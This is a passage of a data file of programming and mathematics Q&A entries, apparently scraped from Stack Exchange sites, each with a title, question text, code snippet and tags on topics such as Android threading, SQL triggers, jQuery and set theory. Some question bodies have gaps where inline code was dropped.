implements Runnable {\n\nprivate TextView textView;\nprivate String text;\nprivate
Handler handle = new Handler(){\n @Override\n public void
handleMessage(Message msg){\n textView.append(text);\n }\n};\n//onCreate
and other such things...{\n new Thread(this).start();\n}\n\npublic void run(){\n
//A healthy chunk of logic/conditionals\n text = \"Blah blah\";\n
handle.sendEmtpyMessage(0);\n try {\n Thread.sleep(1500l);\n } catch
(InterruptedException e) {\n e.printStackTrace();\n }\n}\n", "android
multithreading handler runnable"], "5660498": ["join in update command in trigger",
"I have 3 tables, tbl_image, tbl_vehicle_image and tbl_vehicle\ntbl_vehicle_image
resolves a many-many relationship between tbl_image and tbl_vehicle\ntbl_vehicle
has a last_modified_date\nHow do I create a trigger that, when I change for example
tbl_image.img_lnk, uses tbl_vehicle_image to find all records in tbl_vehicle that
use that image, and set their last_modified_date to NOW()?\n", "", "mysql join
triggers sql-update"], "4388755": ["Is it possible to format C++ code with VIM?",
"I am rather new to VIM. I got some source code and this is a mess. At a first
sight I would like at least to get a clear and organised view of the code, so I
like to get it rightly formatted, I mean indented depending on the depth of the
functions and so. \nI wonder if it can be done with VIM, and otherwise which other
commandline tools for that can you recommend.\nThanks\n", "", "vim"], "4024814":
["Refreshing contents of a jtable", "I have a in a (called ) of a which is
fetching contents from a MySQL database. Now I want to be able to refresh the table
whenever I make changes using the options in other pane of . I got around this
problem by destroying and then again constructing it so that it could fetch
refreshed data from the database.\nCan someone suggest
me a better way getting around it? Like if I could fetch only the new/modified
data and withouut having destroy and then reconstruct the .\n", "JTable", "java
mysql jtable jpanel"], "2442514": ["Show that the sequence $(\\frac{2^n}{n!})$ has
a limit.", "Show that the sequence $(\\frac{2^n}{n!})$ has a limit.\nI initially
inferred that the question required me to use the definition of the limit of a
sequence because a sequence is convergent if it has a limit $$\\left|\\frac{2^n}
{n!} - L \\right|{}{}<{}{}\\epsilon$$ \nI've come across approaches that use the
squeeze theorem but I'm not sure whether its applicable to my question. While I
have found answers on this site to similar questions containing the sequence, they
all assume the limit is 0.\nI think I need to show $a_n \u2265 a_{n+1},\\forall
n \\geq 1$, so\n$$a_{n+1} = \\frac{2^{n+1}}{(n+1)!}=\\frac{2}{n+1}\\frac{2^{n}}
{n!}<a_n$$\nA monotonic decreasing sequence is convergent and this particular
sequence is bounded below by zero since its terms are postive. I'm not sure whether
or not I need to do more to answer the question. \n", "", "real-analysis sequences-
and-series convergence"], "2333814": ["LCD Programming with Arduino", "I would like
my LCD to display \"Voltage=(sensorValue)\" but right now the only way I can get
the program to recognize the value as I turn the potentiometer is if I put it in a
loop. But when I put it in a loop the whole screen gets filled with 1s, 2s, 3s, 4s,
or 5s depending on where the potentiometer is set. \nIf I don't have it in a loop
then whatever setting the potentiometer is on is what will pop on the screen and
will not change if potentiometer is turned.\nHow can I put the results of a loop
outside of a loop so I can have \"(Voltage=sensoreValue)\"?\nHere's my program:\n\
n", "#include <Wire.h> \n#include <LiquidCrystal_I2C.h>\n\nLiquidCrystal_I2C
lcd(0x27,16,2); \n\nvoid setup()\n{\n lcd.init(); \n
lcd.backlight();\n int sensorPin = A0;\n int sensorValue = 0;\n
sensorValue = 0.004882812 * analogRead(sensorPin) + 1;\n
lcd.print(\"Voltage=\");\n}\n\nvoid loop()\n{\n int sensorPin = A0;\n int
sensorValue = 0;\n sensorValue = 0.004882812 * analogRead(sensorPin) + 1;\n
lcd.print(sensorValue);\n}\n", "c++ arduino"], "1615518": ["Twistd socket
ownership", "I have a daemon which listens to a socket in . I start the daemon
using an init script (as root, obviously), and I'm using the and options to drop
privileges to an unprivileged user. The socket, however, is still owned by . \nA
second daemon, which runs as the same unprivileged user, needs to have access to
the socket. I now change the socket ownership to in the init script, but this
doesn't strike me as a very elegant solution.\nIs there a way make the socket owned
by in the file?\n", "/var/run", "python twisted unix-socket twistd"], "2229814":
["How to make a YouTube video work while still inside of a WebViewClient?", "Here
is the problem: I can't seem to make a YouTube video work while still inside of a
WebViewClient. I have tried using an Intent, but that only redirects to the browser
or the YouTube App (when using a vnd:+VIDEO_ID). I would like to be on a youtube
page (example: http://www.youtube.com/user/thenewboston) and still be inside of the
webview client - the user should not be able to leave the app.\nWhen I have tried
this on my own, I am able to see the YouTube mobile page of the video/channel.
Everything works except the fact that when I touch the video on my Droid, all it
does is highlight the video and then doesn't do anything. \nI need this because my
application is free and is financed by an advertisement banner across the bottom of
the app - which I can only display with WebViewClient not the native Android
browser. JavaScript and plug-ins are enabled. I'm using Froyo as the target SDK and
do have Adobe Flash Player installed on my phone.\n\n",
"setContentView(R.layout.internetv);\nfinal WebView wv = (WebView)
findViewById(R.id.web_holder);\n/* for example */
\nwv.loadUrl(\"http://www.youtube.com/user/PokeGuideHD\"); \
nwv.setWebViewClient(new myClient());\
nwv.getSettings().setJavaScriptEnabled(true);\nwv.getSettings().setPluginsEnabled
(true);\nwv.getSettings().setBuiltInZoomControls(true);\
nwv.requestFocus(View.FOCUS_DOWN);\n", "android webview youtube webviewclient"],
"5117778": ["i write a html ,but it Is converted into another string , how can i
make is show Original appearance ", "this is my code :\n\nand it Is converted into
this :\n\nso what can i do to show the Original html ?\nthanks\nand i write this
code in a chat room ..\n", "<div>wwdw</div>\n", "javascript html hacking"],
"2157727": ["Reason to implement own List, Stack, Queue or other data structure in
Java", "Almost on every interview I'm asked some questions implies data structure
implementation.\nIs there really good reasons to implement own data structures in
Java application?\n", "", "java list stack queue"], "4741816": ["Union of compact
sets in a convergence space", "Let $X$ be a convergence space and let $K_1, K_2, \\
ldots, K_n$ be compact subsets of $X$. I'm trying to prove for myself that the
union $K$ of the $K_i$ is compact. By definition, $K$ is compact if every
ultrafilter on it converges, so given an ultrafilter $\\mathcal U$ on $K$, I have
to show that it converges. Somehow I need to produce ultrafilters on each of the
$K_i$ and relate them to $\\mathcal U$ but I have no idea how to do this. Any
tips?\n", "", "general-topology convergence filters"], "426997": ["i want
attachment.php to return the image", "I use a lightbox to display images from posts
in a website that is updated by differents authors.\nOr course, the lightbox only
works if the author makes sure that he uses link to the image directly while
uploading the file. \n1/3 of the time, the author forgets and the lightbox shows
the html of the attachment.php page.\nIs there possible to have a function, placed
into attachments.php, that would return the image instead of the html page ? It
would be simple to find the image itself, but I guess this would requires to change
headers somewhere so the webserver returns the 'image/jpg' header.\nI would manage
the details but I would need some help to start with.\nThank you.\n", "",
"attachments headers"], "3441986": ["Agile development in a distributed team", "The
Agile Manifesto emphasizes the importance and nature of communication in the
software development process. Two of the twelve principles underscore this:\n\
nBusiness people and developers must work together daily throughout the project.\
nThe most efficient and effective method of conveying information to and within a
development team is face-to-face conversation.\n\nOn my current project, the five
members of our development team are scattered across four cities in three states.
Geographically distributed teams seem to be more and more common as
telecommuting/remote working and offshore development expand.\nWhen a team can't be
face-to-face, how can tools and technology be employed to make practices like daily
stand-up meetings, code reviews, pair programming, and the XP concept of \"whole
team\" effective? How can these practices themselves be tailored to best suit a
geographically distributed team?\n", "", "language-agnostic agile remote
collaboration"], "625794": ["Installing ethernet drivers with no install package",
"I recently got my new Sony Vaio laptop and formatted it into Windows 7 Ultimate. I
would like to use the Windows Easy Transfer Tool over a network connection to
transfer some of my files over from my desktop PC.\nBefore I do this though, I need
to install the ethernet LAN drivers (I'm currently using the built in Wifi).\nI
downloaded the original LAN driver that came with my Vaio originally from the Sony
website:\nhttp://support.vaio.sony.eu/computing/vaio/downloads/preinstalled/
index.aspx?l=en_GB&m=VPCEB1Z0E_B\n[Scroll down to the 450KB Ethernet driver]\nWhen
I unzip the package, these files are inside:\n\nAs you can see, no installer. Can
anyone guide me through how to properly install these drivers? I have thought of
using Google but I'm clueless as to what query to use.\nThanks.\n", "yk62x64.cat\
nyk62x64.dll\nyk62x64.inf\nyk62x64.sys\n", "windows-7 drivers ethernet transfer"],
"3524469": ["Internal jQuery doesn't work in chrome, IE, FF", "The jQuery code
below does work when I open the preview editor from Aptana Studio 3. Unfortunately,
the jQuery doesn't work when I open my webpage with Chrome, IE or FF\n\nDoes
someone have an idea why it doesn't work? I'm new to programming and any
help/advice is really appreciated. Thanks!\nEdit: this is what should happen on
fiddle:\nThe first two blocks of jQuery were written to change the CSS on the form
inputs. On focus, the inputs will change to \"focusField\", and therefore will have
new CSS properties that are in the .css file. On blur, it changes back to
class \"idleField\".\nIf the user hasn't typed in the input, the default value
comes back. If the user has typed something, it keeps his input. This DOES work. \
nThe rest of my jQuery code is to update the number of days in a month. If month
selected is 04||06||09||11, then delete day 31 and append days 29,30 if they don't
exist.\nIf month selected is 01||03||05||07||08||10||12, then append days 29,30,31
if they don't exist.\nThe last block is for February (02). Remove days 31,30,29. If
leap year, append day 29.\n", "<script>\n $(document).ready(function() {\n
$
('input[type=\"text\"],input[type=\"password\"],select,:submit').addClass(\"idleFie
ld\"); \n $
('input[type=\"text\"],input[type=\"password\"],select').focus(function() { \n
$(this).removeClass(\"idleField\").addClass(\"focusField\"); \n if
(this.value == this.defaultValue){ \n this.value = ''; \n
}\n if(this.value != this.defaultValue){ \n
this.select(); \n } \n });\n\n $
('input[type=\"text\"],input[type=\"password\"],select').blur(function() { \n
$(this).removeClass(\"focusField\").addClass(\"idleField\"); \n if
($.trim(this.value == '')){\n this.value = (this.defaultValue ?
this.defaultValue : this.value); \n }\n });\n\n
$('#DOBM,#DOBY').change(function() {\n if ($('#DOBM').val() ==
'04'||$('#DOBM').val() == '06'||$('#DOBM').val() == '09'||$('#DOBM').val() == '11')
{\n $(\"#DOBD option[value='31']\").remove();\n
if ($(\"#DOBD option[value='29']\").length == 0){\n $
(\"#DOBD\").append(\"<option value='29'>29</option>\");\n }\n
if ($(\"#DOBD option[value='30']\").length == 0){\n $
(\"#DOBD\").append(\"<option value='30'>30</option>\");\n }\n
}\n if ($('#DOBM').val() == '01'||$('#DOBM').val() == '03'||$
('#DOBM').val() == '05'||\n $('#DOBM').val() == '07'||$
('#DOBM').val() == '08'||$('#DOBM').val() == '10'||$('#DOBM').val() == '12'){\n
if ($(\"#DOBD option[value='29']\").length == 0){\n $
(\"#DOBD\").append(\"<option value='29'>29</option>\");\n }\n
if ($(\"#DOBD option[value='30']\").length == 0){\n $
(\"#DOBD\").append(\"<option value='30'>30</option>\");\n }\n
if ($(\"#DOBD option[value='31']\").length == 0){\n $
(\"#DOBD\").append(\"<option value='31'>31</option>\");\n }\n
}\n if ($('#DOBM').val() == '02'){\n $(\"#DOBD
option[value='31']\").remove();\n $(\"#DOBD
option[value='30']\").remove();\n $(\"#DOBD
option[value='29']\").remove();\n if (($('#DOBY').val() % 4 ==
0)&&($('#DOBY').val() % 100 != 0)||($('#DOBY').val() % 400 == 0)){\n
$(\"#DOBD\").append(\"<option value='29'>29</option>\");\n }\n
}\n })\n })\n </script>\n", "jquery internet-explorer google-
chrome firefox"], "1255855": ["Preventing shared library version incompatibilities
on GNU/Linux", "I've been tracking a bug triggered at the launch of my program.
Here is the backtrace provided by gdb:\n\nIn fact, the crash is due to the system
using LLVM 3.1 ( for graphics related task ) while I'm using LLVM 3.0, which is
embedded in my program ( libgdl.so ): \nWhen libLLVM-3.1.so.1 wants to call the
NotifyRemove function, the call is forwarded to my version of LLVM in libgdl.so and
it lead to the crash as the version are incompatible.\nIs there any way to prevent
such a mess?\n", "(gdb) bt\n#0 0xb753f571 in llvm::cl::parser<llvm::FunctionPass*
(*)()>::getOption(unsigned int) const () \nfrom ./libgdl.so\n#1 0xb79aeab4 in
llvm::cl::generic_parser_base::findOption(char const*) () \nfrom ./libgdl.so\n#2
0xb753f679 in llvm::RegisterPassParser<llvm::RegisterRegAlloc>::NotifyRemove(char
const*) () \nfrom ./libgdl.so\n#3 0xaf35f0b6 in
llvm::MachinePassRegistry::Add(llvm::MachinePassRegistryNode*) () from
/usr/lib\n/i386-linux-gnu/libLLVM-3.1.so.1\n#4 0xaef42b16 in ?? () from
/usr/lib/i386-linux-gnu/libLLVM-3.1.so.1\n#5 0xb7fece9b in ?? () from /lib/ld-
linux.so.2\n", "linux shared-libraries llvm incompatibility"], "5605920": ["Cache
locking pattern with C++", "I am wondering if there's a better locking scheme for a
cache than a simple lock:\n\nAssuming you have a lot of the same requests then
you're serializing the access to get() every time. Can something smarter be done
with ReadWriter locks?\ni.e. what if you do something like:\n\nNow this will allow
multiple users to get() at the same time in the case of a cache hit. However, if
two users get to the first get() around the same time it's possible that they will
both try to go into the second part of the code to get the data. Does that seem
like a good idea?\nAny other ideas for optimizing this sort of code?\n", "Mutex
lock;\nget(key) {\n LockGuard(lock);\n\n if (cache.has(key)) {\n return
cache[key];\n } else {\n data = remoteclient.getslow();\n cache[key] =
data;\n return data;\n }\n}\n", "c++ multithreading locking"], "4999187":
["Bundling in asp.net mvc 4.0 does not include all jquery libraries?", "Overall in
my application I get a jquery ui error when the dialog stuff is run.\nI see in my
visual studio solution explorer that the jquery 1.8.2 and modernizer 2.6.2 is
loaded in the windows internet explorer.\nBut why is the rest not included like the
jquery ui for the dialog?\nThats the default asp.net mvc 4.0 project code:\n\
nUPDATE\n\n", "bundles.Add(new ScriptBundle(\"~/bundles/jquery\").Include(\n
\"~/Scripts/jquery-{version}.js\"));\n\n bundles.Add(new
ScriptBundle(\"~/bundles/jqueryui\").Include(\n
\"~/Scripts/jquery-ui-{version}.js\"));\n\n bundles.Add(new
ScriptBundle(\"~/bundles/jqueryval\").Include(\n
\"~/Scripts/jquery.unobtrusive*\",\n
\"~/Scripts/jquery.validate*\"));\n\n // Use the development version of
Modernizr to develop with and learn from. Then, when you're\n // ready
for production, use the build tool at http://modernizr.com to pick only the tests
you need.\n bundles.Add(new
ScriptBundle(\"~/bundles/modernizr\").Include(\n
\"~/Scripts/modernizr-*\"));\n\n bundles.Add(new
StyleBundle(\"~/Content/css\").Include(\"~/Content/site.css\"));\n\n
bundles.Add(new StyleBundle(\"~/Content/themes/base/css\").Include(\n
\"~/Content/themes/base/jquery.ui.core.css\",\n
\"~/Content/themes/base/jquery.ui.resizable.css\",\n
\"~/Content/themes/base/jquery.ui.selectable.css\",\n
\"~/Content/themes/base/jquery.ui.accordion.css\",\n
\"~/Content/themes/base/jquery.ui.autocomplete.css\",\
n \"~/Content/themes/base/jquery.ui.button.css\",\n
\"~/Content/themes/base/jquery.ui.dialog.css\",\n
\"~/Content/themes/base/jquery.ui.slider.css\",\n
\"~/Content/themes/base/jquery.ui.tabs.css\",\n
\"~/Content/themes/base/jquery.ui.datepicker.css\",\n
\"~/Content/themes/base/jquery.ui.progressbar.css\",\n
\"~/Content/themes/base/jquery.ui.theme.css\"));\n", "c# asp.net-mvc-4"],
"3513434": ["Is there any C\\C++ Cross-platform library for sharing data between
app's?", "Is there any C\\C++ Cross-platform library for sharing data between
app's?\n", "", "c++ c cross-platform sharing"], "2224833": ["Android: How to
refresh a tablelayout after removing a row?", "I have a tablelayout that retrieves
data from a *.txt file.\nFor every line of data in the txt file, there will be one
row of data.\nLet's say I have two rows of data in the txt file right now, it makes
sense that two tablerows will be generated.\nThen, I added a OnLongPressListener
which, when called, will delete one row of data from the txt file.\nNow's the first
question: After deleting data in the txt file, how do I refresh my tablelayout to
reflect that change?\nSecond question is: After I get my first question solved, is
it possible to have some kind of animation where one row will fade out or slide out
instead of just disappearing outright?\nThanks!\n", "", "java android refresh
tablelayout tablerow"], "2475216": ["Moonlight in Debian", "What is the preferred
way to install moonlight in Debian (Testing)? I searched the repositories, but
there seems to nothing relevant. Also this
wiki:\nhttp://wiki.debian.org/Teams/DebianMonoGroup/Moonlight\njust states its out
of date. Any ideas?\n", "", "linux debian moonlight"], "3441987": ["Django Query
Question", "I'm trying to query an object and when I hard code the value it works
but when I use a variable for it the query doesn't work.\nHere's the class:\n\
nHere's the query:\n\nAs an example, there is an AdvertisementType where the
type=\"Inner Page\"\nWhen I use this statement:\n\nEverything works fine but if I
do\n\nI get the error \n\neven when type_of_ad = \"Inner Page\"\nAny ideas?\n",
"class AdvertisementType(models.Model):\n type =
models.CharField(max_length='40')\n description =
models.CharField(max_length='80')\n\n def __unicode__(self):\n return
'%s' % self.type\n", "django django-models django-queries"], "693752":
["NullPointerException in InitialContext", "NullPointerException in InitialContext\
n\nI got this exception when try to execute client application through console :\n\
nThis application connecting to remote EJB module. \nBut when I try to execute it
in Eclipse, all's gone fine.\nMy configuration:\n\nJava SE 1.7 \nGlassFish Server
Open Source Edition 3.1.2.2 (build 5)\nEclipse Java EE IDE for Web Developers.
Version: Juno Service Release\n1 Build id: 20121004-1855\n\nMaven dependencies:\n\
n", "private void connect() {\n try {\n InitialContext ctx = new
InitialContext();\n IServerBean serverBean = (IServerBean)ctx.\n
lookup(\"java:global/applicationserver/ServerBean!\n
com.test.applicationserver.IServerBean\");\n } catch (NamingException e) {\n
logger.error(e.getMessage(), e);\n }\n}\n", "glassfish client ejb remoteobject"],
"298409": ["C# Union Structure Marshalling", "I'm trying to integrate Video4Linux
in my managed application. Indeed I've declared all required structures
and relative ioctl. In this question I present two : and ; while the former is
working well (like the other dozen I actually use), the latter is returning me bad
memory behavior.\nThe ioctl is actually performing, but as soon the application is
accessing to the ioctl parameter (either debugger or my application itself), it
always crashes with following stack:\n\nI had some investigation on p/invoking
ioctl, and again, I cannot understand why my application is crashing. I suspect
it's becuase structure memory layout, but I cannot explain why is working while
don't (since they use the very same parameter).\nI have to P/Invoke a routine that
receive/return the structure :\n\nI've traduced the structure using the following
form\n\nAnd finally, here is the methods calling ioctl:\n\n", "ioctl", "c# mono
marshalling ioctl"], "2716154": ["System.ArgumentException was unhandled when using
-= on a event delegate?", "I have this code:\n\nHow can I fix it?\nEDIT\n\n",
"public void setPanelHalfHorizontalScreen(Panel p)\n {\n if (p !=
null)\n {\n p.Width = Screen.PrimaryScreen.Bounds.Width /
2 - 2;\n this.panelsForHalfScreen.Add(p.Name, p);\n\n
// http://stackoverflow.com/questions/2261828/does-an-event-gets-executed-twice-if-
callback-was-assigned-twice-to-the-object\n this.form.Resize -= new
EventHandler(form_Resize); // error raised on this line: ArgumentException was
unhandled\n this.form.Resize += new EventHandler(form_Resize);\n
}\n }\n\n void form_Resize(object sender, EventArgs e)\n {\n\n
foreach (DictionaryEntry p in panelsForHalfScreen)\n {\n
this.setPanelHalfHorizontalScreen((Panel)p.Value);\n }\n }\n",
"c# exception delegates"], "3947236": ["php - let the visitor download a remote
file, chunk by chunk (range)", "It's a recurring question on StackOverflow and i've
browsed to all existing suggestions unsuccessfully.\nHere's what I'm trying to
achieve:\n- visitor comes to my webpage and i have to send him a very LARGE file
for download.\n- that file is located on a REMOTE server, and requires either Basic
Auth or Cookie. Only me owns the cookie/credentials.\n- I successfully managed to
download that file using wget then serve it to the visitor via the X-sendfile mod
(Apache), but it requires waiting for the end user before download.\n- I'd like to
serve the download asap, which mean my website would act like some kind of proxy or
something.\n- I tried using bunch of codes with cURL, fsockopen/feof, etc but
either it almost crashes Apache once in a while, either it's a blocking connexion
(visitor cannot browse the website anymore as long as he has not finished
downloading), either it's destroying my ressources since php tries to put that huge
file in memory i guess.\nSo to sum up:\n- I should be able to serve the remote file
for downloading as soon as possible\n- Ideally serving it chunk by chunk / range by
range ?\nextra info: PHP 5.2.13, Gentoo, libcurl 5.2.13\n", "", "php file stream
readfile fsockopen"], "1134343": ["How to set PYTHONPATH on web server", "I have
been running Apache and PHP successfully for a while and would now like to use
python as well. I have installed django and mod_wsgi, but still haven't got them
working.\nI get errors like \n\nin my apache logs. Tutorials about setting
PYTHONPATH seem to require adding an export command to webserver startup scripts,
but frankly I have no idea what I'm doing so I'd like to get some clarity about
what's going on, and what I should do.\n", "ImportError: Could not import settings
'/srv/django_projects/proj1/settings.py' (Is it on sys.path?):\n", "django apache
ubuntu mod-wsgi"], "1771131": ["Getting an app.config key of console app from
webservice refered by the console app", "I have a console application (say CA)
which calls many webservices (say WS1, WS2, WS3). All these webservices will have
the same structure (meaning: exposes same webmethods but functionality changes
based between WS1, WS2, WS3). \nThe Webservices are accessed from CA using a single
proxy. (meaning: all Webservice's interfaces/webmethods structure are same).\nThe
question is: Is it possible to access a particular key in app.config of CA inside
WS3, but in the same time I should not change the structure of webmethod.\n", "",
"c# web-services .net-2.0"], "71224": ["Multiple websites in one database?", "I am
building a website templating system where multiple user can create their own mini-
websites. I anticipate the possibility of this system scaling to millions of
users. Is it best to store all data for everyone's mini-site in one MySQL database,
or create a separate MySQL database for each user?\nWhat is the setup to handle
future scalability to millions of users? What are the pros and cons of each
option.\n", "", "mysql database setup"], "3514785": ["Floating point comparison in
STL, BOOST", "Is there in the STL or in Boost a set of generic simple comparison
functions?\nThe one I found are always requiring template parameters, and/or
instantiation of a \nstruct template.\nI'm looking for something with a syntax like
:\n\nWhich could be implemented as :\n\nEDIT: I changed the operator to equal. (see
comments below)\n", "if ( is_equal(x,y) )\n{\n ...\n}\n", "c++ floating-point"],
"866354": ["PUT method in playframework FunctionalTest", "I wrote a little
application using GAE and the playframework.\nI am trying to test the PUT method
(used for updates) and when called\nfrom a FunctionalTest it always returns with
the login page even\nthough I login at the beginning of the test, that can be
confirmed by\nall the other method working fine.\nIt looks like when using the PUT
method the session is lost\nAnybody had similar problems?\nI'm using play 1.1.1 \
n", "", "playframework"], "5104686": ["How do I create a recursive anagram tool
which prints every possible combination of a string of letters, including
prefixes?", "I've made an anagram method to create all the possible combinations of
a word, but I'd like to be able to check every letter combination.\nFor example:
eastern would produce other variations such as earnest, but I'd also like it to
produce variations such as east and eat and ate.\nI already have a working
dictionary checking whether the combinations are in the dictionary.\n\n", "public
void printAnagrams(String prefix, String word)\n{\n if(word.length() == 1) {\n
if (words.contains(prefix+word))\n System.out.println(prefix + word);\n
}\n else \n {\n for(int i = 0; i < word.length(); i++)\n {\n
String current = word.substring(i, i + 1);\n String before =
word.substring(0, i);\n String after = word.substring(i+1);\n
printAnagrams(prefix + current, before + after);\n }\n }\n}\n", "java
algorithm permutation combinations"], "2789110": ["Problem with testing validations
using Shoulda ", "Here's my test.\n\nHere's my model.\n\nAnd I get Expected errors
to include \"can't be blank\" when name is set to nil, got errors: name Alert name
can't be blank. (nil)\nI don't get it . Why? \nThanks!\n", "class AlertSettingTest
< ActiveSupport::TestCase\n context \"For ALL Alert Settings\" do\n setup do\n
@alert = AlertSetting.create({ :alert_type_id=>'1',:name => 'xxx'})\n end\n
subject { @alert }\n should_belong_to :alert_type\n
should_validate_presence_of :name\n end\nend\n", "ruby-on-rails unit-testing
shoulda"], "72057": ["Is the function of the limit = the limit of the function when
I'm talking about continuous functions of ordinals?", "Let $f: \\bf{Ord} \\to \\
bf{Ord}$ be a continuous, weakly increasing function, and let $\\langle \\alpha_{\\
xi} \\mid \\xi < \\gamma \\rangle$ be an increasing sequence of ordinals. Is it
true that $$\\displaystyle f\\left(\\lim_{\\xi \\to \\gamma}\\alpha_{\\xi}\\right)
= \\lim_{\\xi \\rightarrow \\gamma}f(\\alpha_{\\xi})?$$ If it is true how do I show
it? \nThe reason I am asking is because I have a continuous function $f: \\
lambda \\to \\kappa$ where $\\kappa$ is a singular cardinal and $\\
operatorname{cf}\\kappa = \\lambda$, which enumerates a club $C$ in $\\kappa$.
Given a set $A \\subseteq \\kappa$, I want to show that $f^{-1}(A)$ is stationary
in $\\lambda$ if and only if $A \\cap C$ is stationary in $\\kappa$ if and only if
$A$ is stationary in $\\kappa$. \nThe part I am stuck on is $f^{-1}(A)$ stationary
in $\\lambda \\implies A$ stationary in $\\kappa$.\nMy idea was that given a club
$D \\subseteq \\kappa$, then $f^{-1}(D)$ would be a club in $\\lambda$. Showing
closure of $f^{-1}(D)$ would follow from the above statement, I think: that is,
given an increasing sequence $\\langle \\tau_{\\nu} \\mid \\nu < \\gamma \\rangle$
with $\\gamma < \\lambda$, then $\\displaystyle f\\left(\\lim_{\\nu \\to \\gamma}\\
tau_{\\nu}\\right) = \\lim_{\\nu \\rightarrow \\gamma}f(\\tau_{\\nu})$, which
implies $\\displaystyle\\lim_{\\nu \\to \\gamma}\\tau_{\\nu} \\in f^{-1}(A \\cap C)
$. Is there another way to see this if the above is not true?\nThanks for any
help.\nEDIT: The definition I am using is that $f$ continuous $\\iff$ given any
limit ordinal $\\delta < \\gamma$, $$\\lim_{\\xi \\to \\delta} f ( \\xi) = f(\\
delta).$$\n", "", "set-theory cardinals"], "4380483": ["Enable downloads and
disable IE ESC on Windows Server 2008 (and R2)?", "How can I enable downloads for
Windows Server 2008? By default when I try to download something with internet
explorer the download is blocked.\n", "", "windows-server-2008 security windows-
server-2008-r2 internet-explorer"], "1189019": ["SQL statement using WHERE from a
GROUP or RANK (part 2)", "I recently posted a question about a SQL Where
Statement/Grouping here:\nSQL statement using WHERE from a GROUP or RANK \nNow I've
got somewhat
of a follow-up.\nSo similar to the previous question, let's assume I have a table
of say 35,000 rows with these columns:\nSales Rep | Parent Account ID| Account ID |
Total Contract Value | Date\nEach row is individual by account id but multiple
account IDs can fall under a parent account ID. \nSimilar to the responses on the
first question, this is probably going to be a table w/i a table. So first,
everything has to be grouped by Sales Rep. From that, everything needs to be
grouped by Parent Account ID where the grouped total contract value of all the
accounts is >= 10,000. Then everything will be displayed and ranked by the total
TCV of the Parent account ID and I need the top 35 Parent account IDs by agent. \
nSo the first couple of lines of data may look like this:\n\nSales Rep | Parent
Account ID| Account ID | Total Contract Value | Date | Rank\nJohn Doe |
ParentABC12345 | ABC425 | 5,000 | 1/2/2013 |1\nJohn Doe |
ParentABC12345 | ABC426 | 10,000 | 1/2/2013 |1\nJohn Doe |
ParentDJE12345 | DJE523 | 11,000 | 1/2/2013 |2\nJohn Doe |
ParentFBC12345 | FBC6723 | 4,000 | 1/2/2013 |3\nJohn Doe |
ParentFBC12345 | FBC6727 | 4,000 | 1/2/2013 |3\n\nNotice how
the ranking works based off of the parent Account ID. The account ID DJE523 has the
single greatest TCV but it's ranked second b/c the grouped value of parent account
ID ParentABC12345 is greater. So there would be a ranking of 35 parent account IDs
but in that ranking their could be say 100+ lines of actual data.\nAny thoughts?\
n", "", "sql table sum grouping where"], "5666685": ["MOXy JSON support", "I'm
using EclipseLink's MOXy as the JAXB implementation in my RESTEasy project.MOXy's
advanced functionality which has been brought by annotations like
@XmlDiscriminatorNode & Value helped me a lot. Everything's working fine except one
thing: JSON support. I'm using JettisonMappedContext of RESTEasy but unfortunately
there're only instance variable fields belong to the abstract superclass in my JSON
after marshalling.\n\nSubclass:\n\nXML after marshalling:\n\nJSON after
marshalling:\n\nIs there any other way to achieve this? \nThank you.\n",
"@XmlRootElement\n@XmlDiscriminatorNode(\"@type\")\npublic abstract class Entity {\
n\n public Entity(){}\n\n public Entity(String id){\n this.id = id;\n
}\n\n private String id;\n\n @XmlElement\n public String getId() {\n
return id;\n }\n public void setId(String id) {\n this.id = id;\
n }\n}\n", "json eclipselink moxy"], "6010523": ["Using the Exited event in
vb.net", "Ok, I'm making a very basic vb.net winforms app, essentially you can drag
files into it, and it then uses a batch file to process the files.\nIt's pretty
simple and everything is going to plan so far, it accepts the right files, it uses
the batch file to process them and the batch file does what it is supposed to.\nThe
only problem is that I don't know how to hook into the event that can/should be
raised by the batch file process when the process completes...\nI want the DOS
window of the batch file to remain hidden while it is running, so I have used to
specify the batch file, then set the property of the process to , then used to
start the process at the appropriate moment.\nThis is fine, it works and does what
I want. However, the only way to tell when a process ends is to use the event. But
the event apparently only works with a not a . I could switch to use instead but
then I couldn't (AFAIK) run the DOS window minimised...\nIs there a way around
this? I've only been writing .net for a few days. This is how I'm running the batch
file:\n\nAny ideas?\nThanks\n", "Exited", "vb.net winforms events"], "4959970":
["Can't Mount Databases in the Recovery Storage Group in Exchange 2003", "After
restoring some mail stores, mounting them in the recovery storage group errors out.
So far a repair with eseutil (which the log says was successful) and a server
reboot has been tried. A defrag is currently running on the mail store\nI need to
go through this again to post the exact error codes, so I will be updating this
question. But I thought someone who does this a lot might have a \"More times than
not...\" answer in the meantime.\n\nEvents:\n\nEvent 2:\n\n", "An Internal
Processing Error has occurented. Try restart the exchange ... (Nothing more useful
here)\nID no: c1041724\nExchange System Manager\n", "exchange exchange-2003"],
"3441985": ["Google Geocoding API region parameter", "In the google geocoding API,
what are the regions that are supported by google? region is a parameter passed in
the URL which takes a ccTLD value.\n", "", "google-maps geocoding google-geocoding-
api"], "676042": ["How will HTML5 affect SEO for content and headings?", "Your
opinion about HTML5 and longterm SEO.\n", "", "html5 seo content"], "3898114":
["Implementing the comparator interface in java", "When you implement the
Comparator interface in Java, is it required to rewrite the equals method? The java
compiler does not complain if I do not do that. But is that OK to do?\n", "", "java
interface comparator"], "3986541": ["Get (join) list where linked to optional List
via Linq", "I created my database via EF, and now (using LINQ) I want to return a
list (called posts) where it is linked to its optional list (called flags)\nIn the
example below, you can see I give table Post a virtual List of flags (which means
optional right?)\nMODEL : \n\nEF :\n\nHow would I get a list of Posts where there
is a link to flags, and Dateapproved is not null?\nOfcourse this won't work,
because the declaration is expecting a Post, and is getting a list of flags instead
:\n\nI know of the \"Include\" function, but not sure it will work here\nWhat is
the best practice here?\nShould I split it somehow into more steps?\n", "public
class Post\n{\n public int PostID { get; set; }\n public string Title { get;
set; }\n public DateTime? Dateapproved { get; set; }\n public virtual
List<Flag> Flags { get; set; }\n}\n\npublic class Flag\n{\n public int FlagID
{ get; set; }\n public int PostID { get; set; }\n}\n", "c# asp.net-mvc linq
entity-framework virtual"], "911051": ["Is this CSS selector correct?", "It doesn't
seem to be working. The styles of nth-child(2) need to be differnt on hover if nth-
child(3) is .active \nCSS:\n\nHTML:\n\n", "li:nth-child(3).active ~ li:nth-
